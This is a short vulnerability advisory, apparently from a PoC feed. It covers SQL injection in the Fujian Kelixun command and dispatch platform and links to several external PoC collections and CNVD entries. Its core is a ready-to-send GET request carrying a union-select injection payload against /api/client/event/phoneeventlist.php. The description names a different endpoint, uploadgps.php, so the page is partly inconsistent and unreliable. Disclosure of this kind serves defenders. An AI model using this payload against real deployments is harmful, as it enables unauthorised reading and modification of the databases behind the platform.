福建科立讯通信指挥调度平台 /api/client/event/phoneeventlist.php SQL 注入漏洞

2026-02-06 福建科立讯通信指挥调度平台 PoC Public

Description

指挥调度平台是一款功能强大的通信解决方案。该平台集成了语音、视频、数据等多种通信方式，可实现快速、准确的指挥调度。指挥调度管理平台的uploadgps.php接口存在SQL注入漏洞，攻击者可通过构造恶意SQL语句获取数据库敏感信息、修改数据，甚至可能获取服务器权限。

PoC

GET /api/client/event/phoneeventlist.php?number=-1%27union+%2F%2A%21select%2A%2F+1%2C2%2C3%2C4%2C5%2CMD5%281%29--+ HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates# Fujian Keli Xun Communication Command and Dispatch Platform /api/client/event/phoneeventlist.php SQL Injection Vulnerability

References

https://github.com/AboSteam/POPC/blob/main/%E7%A6%8F%E5%BB%BA%E7%A7%91%E7%AB%8B%E8%AE%AF%E9%80%9A%E4%BF%A1%E6%8C%87%E6%8C%A5%E8%B0%83%E5%BA%A6%E5%B9%B3%E5%8F%B0get_extension_yl.php%E5%AD%98%E5%9C%A8sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/m0_74402888/article/details/142290167
https://github.com/adysec/POC/blob/main/wpoc/%E7%A6%8F%E5%BB%BA%E7%A7%91%E7%AB%8B%E8%AE%AF%E9%80%9A%E4%BF%A1/%E7%A6%8F%E5%BB%BA%E7%A7%91%E7%AB%8B%E8%AE%AF%E9%80%9A%E4%BF%A1%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8%E6%8C%87%E6%8C%A5%E8%B0%83%E5%BA%A6%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0uploadgps.php%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://www.cnvd.org.cn/patchInfo/show/546701
https://cn-sec.com/archives/2413742.html
https://blog.csdn.net/qq_39894062/article/details/137023711
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E7%A6%8F%E5%BB%BA%E7%A7%91%E7%AB%8B%E8%AE%AF%E9%80%9A%E4%BF%A1/%E7%A6%8F%E5%BB%BA%E7%A7%91%E7%AB%8B%E8%AE%AF%E9%80%9A%E4%BF%A1%E6%8C%87%E6%8C%A5%E8%B0%83%E5%BA%A6%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0ajax_users.php%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://mrxn.net/jswz/api-get_sos-items-usernumber-sqli.html
https://www.cnvd.org.cn/flaw/show/CNVD-2024-23806

Description

PoC

References

Related Vulnerabilities